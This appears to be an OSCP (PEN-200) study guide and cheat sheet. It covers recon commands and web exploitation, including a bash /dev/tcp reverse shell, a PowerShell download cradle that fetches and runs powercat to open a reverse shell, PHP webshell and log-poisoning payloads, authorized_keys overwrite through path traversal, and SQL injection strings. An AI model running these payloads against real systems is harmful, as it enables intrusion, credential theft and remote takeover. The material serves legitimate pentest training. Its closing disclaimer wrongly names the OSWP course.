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OSCP-Study-Guide

Study guide and command sheet for Offensive Security PEN-200 course (Offensive Security Certified Professional - OSCP)

One-Liners

Reverse Shells

A lot of useful examples for one-liners may be found here: Pentest Monkey Reverse Shell Cheat Sheet

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

Mini server:

python3 -m http.server 8080

Netcat

nc -nvlp 1337

Passive Information Gathering

Passive information gathering in pentesting involves collecting data about a target system or network without direct interaction, typically using tools and techniques to analyze publicly available information and detect vulnerabilities.

Whois Enumeration

Whois is a TCP service that provides information about domain names, such as the registrar and name server, and can be used to gather valuable data like the domain registrant's identity and hosting details. Using Whois, the command demonstrates how to extract information about the domain "domain.com" from the WHOIS server, revealing its registrant information.

whois domain.com -h 192.168.123.123

We can also perform a reverse lookup for an IP address:

whois 31.121.117.10 -h 192.168.123.123

Google Enumeration

Google Hacking, a concept popularized by Johnny Long in 2001, involves using search engines like Google with specialized search strings and operators to uncover critical information, vulnerabilities, and misconfigured websites. It starts with broad searches that are progressively refined using operators like "site," "filetype," and exclusion modifiers, enabling the discovery of sensitive information and misconfigurations, as exemplified by locating a revealing robots.txt file on the "domain.com" domain.

site:domain.com filetype:txt

Or we can use operants to exclude file types such as .html websites (this may reveal indexes):

site:domain.com -filetype:html

References

Netcraft

Netcraft is an internet service company offering a free web portal that provides passive information gathering functions, such as identifying the technologies used on a website and finding hosts sharing the same IP netblock. It allows users to gather detailed information about domains, such as "domain.com," including server registration, site history, subdomains, and technologies, which is crucial for further active information gathering and exploitation.

Netcraft Search

Open-Source Code

Online tools and resources can be used for passive information gathering to analyze code stored online, revealing an organization's programming languages, frameworks, and occasionally sensitive data accidentally committed to public repositories. Platforms like GitHub support advanced search operators, allowing for targeted searches within user or organization repositories, as demonstrated by finding a file named "xampp.users" containing potentially useful credentials for active attack phases.

Shodan

Shodan is a search engine that scans and indexes internet-connected devices, including servers, routers, and IoT devices, providing detailed information like IP addresses, services, and banner data without actively interacting with the target. Unlike traditional search engines that focus on web content, Shodan reveals a target's internet footprint, including service versions and potential vulnerabilities, which is invaluable for planning active penetration testing phases.

SSL/TLS & Security Headers

Specialty websites like Security Headers and Qualys SSL Labs can be used to assess a website or domain's security posture, offering insights into an organization's coding and security practices through analysis of HTTP response headers and SSL/TLS configurations. While Security Headers checks for defensive headers, indicating server hardening awareness, Qualys SSL Labs evaluates SSL/TLS setups against best practices, revealing vulnerabilities and outdated practices.

Security Headers

Active Information Gathering

Active information gathering in pentesting involves directly interacting with the target system or network, using techniques like port scanning, vulnerability scanning, and attempting to exploit identified weaknesses to obtain detailed and specific information.

DNS Enumeration

DNS Enumeration is a critical part of information gathering in cybersecurity, focusing on translating domain names into IP addresses and exploring the hierarchical structure of DNS to identify various records and hostnames associated with a target domain. Techniques include using commands like 'host' to query different DNS record types and employing tools like DNSRecon and DNSenum for automated, extensive enumeration, as demonstrated with the domain "domain.com", which helps in revealing a target's network structure and potential vulnerabilities.

host www.domain.com

By specifying the -t option, we can query for specific DNS records:

host -t mx www.domain.com

OR

host -t txt www.domain.com

For automation of DNS subdomain discovery, we can utilize the following one liner:

For ip in $(cat list.txt); do host $ip.domain.com; done

DNS brute forcing is a technique to identify valid IP addresses associated with a given domain by systematically trying different IP addresses. This can be achieved using simple bash scripting:

for ip in $(cat list.txt); do host $ip.domain.com; done

This command reads IP addresses from list.txt and checks if they are associated with domain.com.

Scanning Subdomains for Hostnames

To identify active subdomains within a specific IP range, the following script can be used:

for ip in $(seq 1 254); do host 192.168.0.$ip; done | grep -v "not found"

This script iterates over IP addresses in the range 192.168.0.1 to 192.168.0.254 and filters out responses with "not found".

Automated DNS Enumeration Tools

  • DNS Recon: An advanced Python script for DNS enumeration: 
    dnsrecon -d domain.com -t std
  • Bruteforcing with DNSRecon: 
    dnsrecon -d domain.com -D list.txt -t brt
  • DNSenum2: A tool for enumerating DNS information from a file: 
    dnsenum domain.txt
  • Windows NSLookup: In Windows, the nslookup command can be used for DNS information retrieval.

Port Scanning with NMAP

NMAP is a powerful tool for port scanning and network discovery:

  • Default TCP scan of the top 1000 ports: 
    sudo nmap -sT target_ip

SMTP Enumeration

SMTP enumeration is used to validate existing users on an SMTP server:

nc -nv 192.168.0.1 25
VRFY root
VRFY testaccount

For automated SMTP enumeration, a Python script like smtp.py can be used:

python3 smtp.py johndoe 192.168.0.1

SNMP Enumeration

SNMP enumeration can expose credentials and features weak authentication methods:

  • Scanning for SNMP services: 
    sudo nmap -sU --open -p 161 192.168.0.1-254 -oG open-snmp.txt
  • Using OneSixtyOne for SNMP bruteforcing: 
    for ip in $(seq 1 254); do echo 192.168.0.$ip; done > ips
onesixtyone -c community -i ips
  • SNMPWalk framework usage: 
    snmpwalk -c public -v1 -t 10 192.168.0.1
  • Commands to output SNMP users, running processes, and listening ports: 
    snmpwalk -c public -v1 192.168.0.1 1.3.6.1.4.77.1.2.25
snmpwalk -c public -v1 192.168.0.1 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 192.168.0.1 1.3.6.1.2.1.6.13.1.3

NMAP NSE Vulnerability Scanning

NMAP's NSE scripts can be used for vulnerability scanning. However, caution is advised as some scripts can be intrusive:

  • Locating vulnerability scripts: 
    cd /usr/share/nmap/scripts
grep "\'vuln\'" script.db
  • Performing a vulnerability scan: 
    sudo nmap -sV -p 443 --script "vuln" 192.168.0.1

API Abuse and XSS Attacks

This section focuses on exploiting vulnerabilities in web applications through API abuse and Cross-Site Scripting (XSS) attacks. Understanding these techniques is crucial for identifying and exploiting weaknesses in web applications.

Retrieving User Lists via API Abuse

API endpoints can sometimes be exploited to retrieve sensitive information such as user lists:

curl -i http://192.168.0.1:5002/users/v1

This command fetches a list of users from the API endpoint.

Dumping Passwords

To check if passwords can be extracted through API abuse:

curl -i http://192.168.0.1:5002/users/v1/admin/password

This attempts to dump the password of the admin user.

Registering a New Admin User

Sometimes APIs allow creating new admin users, which can be exploited:

curl -d '{"password":"test","username":"test","email":"[email protected]","admin":"True"}' -H 'Content-Type: application/json' http://192.168.0.1:5002/users/v1/register

This command registers a new admin user with specified credentials.

Obtaining Authorization Tokens

After registering, one can log in to retrieve an authorization token:

curl -X 'PUT' 'http://192.168.0.1:5002/users/v1/admin/password' -H 'Content-Type: application/json' -H 'Authorization: OAuth eyJ0......FX5ao6ngrY' -d '{"password": "test"}'

This updates the password and potentially retrieves an authorization token.

Using Proxy for HTML Response Capture

Capturing HTML responses can be done using a proxy, helpful in inspecting and modifying requests:

curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json' http://192.168.0.1:5002/users/v1/login --proxy 127.0.0.1:8080

This sends the request through a proxy for analysis in tools like Burp Suite.

Basic XSS Attack

XSS attacks can be performed by injecting script tags in user inputs:

curl -H 'User-Agent: <script>alert(42)</script>' http://target_url

If the server responds with 200 OK and the alert is executed, it indicates XSS vulnerability.

Privilege Escalation via XSS

Privilege escalation can be achieved by stealing cookies via XSS:

  • Secure Flag: Only allows transmission of cookies over HTTPS.
  • HTTPOnly Flag: Prevents JavaScript from accessing the cookie.

Inspecting cookies in the browser's storage tab can reveal which cookies are session-related and vulnerable to theft.

Local File Inclusion (LFI) and Log Poisoning

Local File Inclusion (LFI) vulnerabilities can be exploited to achieve Remote Code Execution (RCE) by utilizing Log Poisoning techniques. This involves injecting executable code into log files, which are then included in the application's running code, leading to the execution of the injected code.

  1. Modify the User Agent: Inject a PHP code snippet into the application's log by setting a custom User Agent. The PHP code will execute any command passed to the cmd parameter.

    curl -H 'User-Agent: <?php system($_GET['cmd']); ?>' http://target_url

  2. Execute Commands: Trigger the execution of the injected PHP code by including the log file in a request to the vulnerable parameter (page). The cmd parameter is used to pass commands to the PHP snippet.

    curl http://target_url/page=../../../../../../../path/to/logfile&cmd=whoami

This exploitation technique demonstrates how LFI vulnerabilities can lead to significant security breaches, including Remote Code Execution, by leveraging Log Poisoning.

PHP Wrappers in File Inclusion Vulnerabilities

PHP wrappers, such as php://filter and data://, offer powerful capabilities in PHP web applications. These can be utilized to bypass filters, reveal sensitive information, or even achieve code execution when exploiting File Inclusion vulnerabilities.

php://filter Wrapper

The php://filter wrapper allows the contents of files, including executable PHP files, to be displayed without execution. This is particularly useful for reviewing PHP files for sensitive information or understanding the application's logic.

Usage Example

  1. Display File Contents: By providing a filename to the page parameter, the contents can be included and displayed. However, PHP code will be executed server-side and not shown. 
    curl http://target_url/page=admin.php
  2. Base64 Encoding: To view the encoded contents of PHP files, the output can be encoded with base64. This is useful for bypassing certain filters or restrictions. 
    curl http://target_url/page=php://filter/convert.base64-encode/resource=admin.php

data:// Wrapper

The data:// wrapper allows embedding data elements as plain text or base64-encoded data in the running web application's code, facilitating code execution.

Usage Example

  1. Embedding URL-encoded PHP Snippets: Embed a PHP snippet for execution within the application's code. 
    curl http://target_url/page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
  2. Bypassing Basic Filters with Base64 Encoding: If certain strings or code elements are filtered, encoding the PHP snippet with base64 might help in bypassing these filters. 
    curl http://target_url/page=data://text/plain;base64,[base64_encoded_php_snippet]

Caution and Considerations

  • The exploitation methods and examples provided are for educational purposes only.
  • The data:// wrapper requires the allow_url_include setting to be enabled in the PHP configuration, which is not the default setting.
  • Always ensure legal and ethical considerations are adhered to when testing and exploiting vulnerabilities.

Exploiting File Upload Vulnerabilities for Code Execution

File upload vulnerabilities offer an avenue for attackers to upload and execute malicious files on a web server. Understanding how to identify and exploit these vulnerabilities is crucial for penetration testers.

Exploiting the example Web Application

In the example web application, the Admin link was replaced with an upload form, allowing users to upload pictures for a contest. The application runs on the XAMPP stack on a Windows system.

  1. Identify Upload Mechanism: Determine if text files can be uploaded by testing the upload functionality. Successful upload indicates the mechanism is not strictly limited to images.
  2. Bypassing Upload Filters: Attempt to upload a PHP webshell (simple-backdoor.php). If blocked, try bypassing the filter by changing the file extension to less common ones like .phps or .php7, or by changing characters in the extension to uppercase.
  3. Executing Code: After bypassing the filter and uploading the file, confirm if code can be executed by accessing the uploaded file in the uploads directory.
  4. Obtaining a Reverse Shell:
    • Start a Netcat listener on port 80.
    • Use a PowerShell one-liner for the reverse shell, encoding it in base64 to bypass special character restrictions.
    • Use curl to execute the encoded one-liner via the uploaded backdoor.
    • Receive the reverse shell in the Netcat listener terminal.

Example Commands:

Upload the text file to test upload functionality

curl -F "[email protected]" http://target_url/upload_form

Upload the PHP webshell with a modified extension

curl -F "[email protected]" http://target_url/upload_form

Execute the base64 encoded PowerShell reverse shell

curl http://target_url/uploads/simple-backdoor.php7?cmd=powershell%20-enc%20[base64_encoded_reverse_shell]

Exploiting Non-Executable File Uploads for System Access

This section discusses the potential severity of unrestricted file upload mechanisms, even when direct execution of uploaded files isn't possible. It emphasizes leveraging other vulnerabilities like Directory Traversal to manipulate file uploads effectively.

Steps for Exploitation:

  1. Confirm File Existence: Use curl to check for the existence of specific files (e.g., admin.php, index.php).
  2. Test File Uploads: Utilize Burp Suite to capture requests and test the upload functionality, confirming the success of text file uploads.
  3. Attempt Directory Traversal: Modify the filename parameter to include a relative path and test if the application writes the file outside the web root.
  4. Overwrite Critical Files:
    • Assess web server permissions and consider the possibility of web applications running with elevated privileges.
    • Attempt to blindly overwrite sensitive files like authorized_keys to gain system access.

Exploiting SSH Access:

  1. Prepare SSH Key Pair: Create an SSH key pair and prepare an authorized_keys file containing the public key.
  2. Upload authorized_keys File: Use the file upload form to submit the authorized_keys file with a modified filename to overwrite the root user's authorized_keys.
  3. Establish SSH Connection:
    • Delete the known_hosts file to avoid host key verification errors.
    • Use the private key of the uploaded public key to attempt an SSH connection to the target system.

Example Commands:

Confirming file existence

curl http://target_url/admin.php

Uploading the authorized_keys file

curl -F "file=@authorized_keys;filename=../../../../../../../root/.ssh/authorized_keys" http://target_url/upload_form

Establishing SSH connection

ssh -i private_key_file -p 2222 root@target_system

OS Command Injection in Web Applications

OS Command Injection vulnerabilities arise when web applications accept user input for operating system commands without proper sanitization, potentially allowing attackers to execute arbitrary commands.

Steps for Exploitation:

  1. Test Command Execution: Use the form to clone a repository and observe if the actual command is displayed in the application's output.
  2. Attempt Command Injection with curl:
    • Analyze the POST request structure in Burp Suite's HTTP history.
    • Use curl to inject commands, observing the application's response to various inputs.
    • Experiment with bypassing filters by URL-encoding semicolons (%3B) and other characters to delimit commands.

Leveraging PowerShell for System Access:

  1. Determine Execution Environment: Inject commands to check if they are executed in CMD or PowerShell.
  2. Setup for Reverse Shell:
    • Start a Python web server serving powercat.ps1 (a PowerShell implementation of Netcat).
    • Create a Netcat listener on a designated port to catch the reverse shell.
  3. Inject Reverse Shell Command:
    • Use a PowerShell download cradle to load powercat.ps1 from the Python web server.
    • Execute powercat to create a reverse shell, specifying the connection address and port.

Example Commands:

Injecting commands using curl

curl -X POST --data "Archive=git%3Bipconfig" http://target_url/clone

Injecting the PowerShell download cradle and Powercat reverse shell

curl -X POST --data "Archive=git%3Bpowershell -c \"[Command for Download Cradle];powercat -c [Target IP] -p [Port] -e cmd\"" http://target_url/clone

Download and execute the powercat.ps1 script from a specified URL, then use the powercat function to open a reverse shell connection to the specified IP address and port. Once the connection is established, it provides a PowerShell interface for executing commands on the remote system.

IEX (new-object net.webclient).downloadstring("http://192.168.118.6/powercat.ps1"); powercat -c 192.168.118.6 -p 4444 -e powershell

DB Types and Characteristics: MySQL and MSSQL

When testing web applications, it's essential to be versatile in interacting with different SQL database variants due to their varying syntax, function, and features. This section focuses on MySQL and Microsoft SQL Server (MSSQL), two of the most common database variants.

MySQL Basics

  1. Connecting to MySQL: Use the mysql command to connect to a remote MySQL instance by specifying the username, password, and port (default 3306).
  2. Retrieving MySQL Version: Use the version function from the MySQL console shell to get the running SQL instance's version.
  3. Verifying Current Database User: Use the system_user function to return the current username and hostname for the MySQL connection.
  4. Listing All Databases: Issue SHOW DATABASES to collect a list of all databases in the MySQL session.
  5. Retrieving User Password:
    • Navigate to the mysql database.
    • Use a SELECT statement with WHERE clause to filter the user and authentication_string values from the user table.
    • Note: Passwords are stored as a hash using Caching-SHA-256 algorithm.

MSSQL Basics

  1. Connecting to MSSQL: Use impacket-mssqlclient from Kali Linux to connect to a remote Windows machine running MSSQL. Specify username, password, remote IP, and -windows-auth for NTLM authentication.
impacket-mssqlclient Administrator:[email protected] -windows-auth;
  1. Retrieving MSSQL Version: Select @@version to inspect the current version of the underlying operating system and MSSQL server.
  2. Listing All Databases: Select all names from the system catalog to list available databases. Focus on custom databases like offsec for potential target data.
  3. Reviewing Specific Database: Query the tables table in the corresponding information_schema to review tables in the custom database.
  4. Inspecting Tables and Data: Select records from specific tables to review data such as usernames and passwords. Note that the users table might contain clear-text passwords.

Identifying SQLi via Error-based Payloads

Error-based SQL injection (SQLi) exploits can reveal underlying database information by manipulating user-supplied input in web applications. This method typically involves injecting SQL code that causes the database to produce error messages, which can then be used to gather information about the database structure and contents.

Exploiting Authentication Bypass

  1. Crafting SQL Query: Control the $sql_query variable by manipulating user input, like uname and password, to create a different SQL query.
  2. Forcing SQL Statement Closure: Append an OR statement with a comment separator (//) to prematurely terminate the SQL statement, leading to authentication bypass by returning the first user ID present in the database.

Example Authentication Payload:

' OR 1=1 //

Enumerating Database Directly

  1. Identifying SQL Interaction: Insert special characters like a single quote (') in the input field to test for interaction with the underlying SQL server.
  2. Injecting Error-based Payload: Terminate the implied SQL query and inject a second statement to retrieve database information like the MySQL version.
  3. Retrieving Specific Data: Query individual columns one at a time due to the limitation of querying only one column at a time.

Example Enumeration Payloads:

' UNION SELECT @@version //
' UNION SELECT password FROM users WHERE username = 'admin' //

Results and Conclusions

  • Successful Authentication Bypass: Received an Authentication Successful message, indicating the attack succeeded.
  • Database Version Retrieval: Retrieved the running MySQL version by injecting an arbitrary second statement.
  • User Password Hash Retrieval: Retrieved MD5 password hashes for users by querying the password column from the users table and specifying users individually with a WHERE clause.

Exploiting UNION-based SQL Injections

UNION-based SQL injections involve using the UNION SQL operator to combine the results of two SELECT statements into a single result set. This technique is useful when the result of the query is displayed along with application-returned values.

Steps for Exploitation:

  1. Understanding UNION Requirements: The injected UNION query must have the same number of columns as the original query, and the data types must match for each corresponding column.
  2. Discovering Column Count: Submit queries ordering by increasing column numbers to determine the exact number of columns in the target table.
  3. Executing UNION-based Attacks:
    • Use the UNION SELECT statement to concatenate your query with the original.
    • Ensure data type compatibility by matching the data types of your injected values with those of the original columns.
    • Shift enumerating functions to the right-most place to avoid type mismatches.

Example Enumeration Payloads:

' ORDER BY 6 --   # Discover number of columns
' UNION SELECT NULL, current_user(), version(), NULL, NULL --  # Enumerate DB name, user, MySQL version
' UNION SELECT NULL, NULL, table_name, column_name, NULL FROM information_schema.columns WHERE table_schema = database() --  # Enumerate tables and columns
' UNION SELECT NULL, username, password, description, NULL FROM users --  # Dump user data

Results and Conclusions:

  • Successful Data Retrieval: Successfully retrieved the username, DB version, and discovered a new table named users with columns including password.
  • Extraction of User Data: Successfully extracted usernames and MD5 password hashes from the users table, including administrative accounts.
  • MD5 Hashes: Retrieved MD5 password hashes can potentially be decrypted using appropriate tools or services.

Checking PDF files for metadata

exiftool -a -u test.pdf

Disclaimer and Legal Notice

Ethical Considerations and Legal Compliance

The techniques, commands, and procedures outlined in this guide are intended solely for educational purposes and preparing for the Offensive Security PEN-210 course (Offensive Security Wireless Pentester - OSWP). These techniques involve methodologies that, if misused, may constitute illegal activities. Users are strongly cautioned against engaging in any unauthorized and/or unlawful actions.

Scope of Use

  • Authorized Environments Only: The execution of penetration testing, network attacks, and other tactics described herein should only be performed on networks and systems that are explicitly owned or authorized for testing by the user. This includes personal hardware, controlled environments, or environments for which explicit, documented permission has been granted.
  • No Unauthorized Use: Under no circumstances should these techniques be applied to networks, systems, or devices without explicit authorization. Unauthorized use of these techniques may lead to legal consequences and is strongly condemned.

Exam Conduct

  • Adherence to Exam Guidelines: While this guide serves as preparation material for the OSWP exam, users must strictly adhere to the guidelines, rules, and ethical standards set forth by Offensive Security during the examination.
  • Prohibited Actions: Any attempt to use these techniques outside of the specified exam environment, or in a manner not aligned with the exam's rules, may result in disqualification, legal action, and other serious consequences.

Liability

  • No Responsibility for Misuse: The authors, contributors, and associated entities of this guide accept no responsibility or liability for any misuse, damage, or illegal activities arising from the information presented. Users are solely responsible for their actions.
  • Acknowledgment of Risk: Users acknowledge the risks involved in security testing and penetration testing and agree to ensure ethical and legal use of this information.

Continuous Learning and Ethical Growth

  • Commitment to Ethical Hacking: Users are encouraged to pursue knowledge in cybersecurity and ethical hacking with a strong commitment to legal compliance, ethical behavior, and respect for privacy and data protection.

By using the information in this guide, you acknowledge having read, understood, and agreed to this disclaimer and all its terms. Your use of this information indicates your acceptance of the risks and your commitment to using this knowledge responsibly and ethically.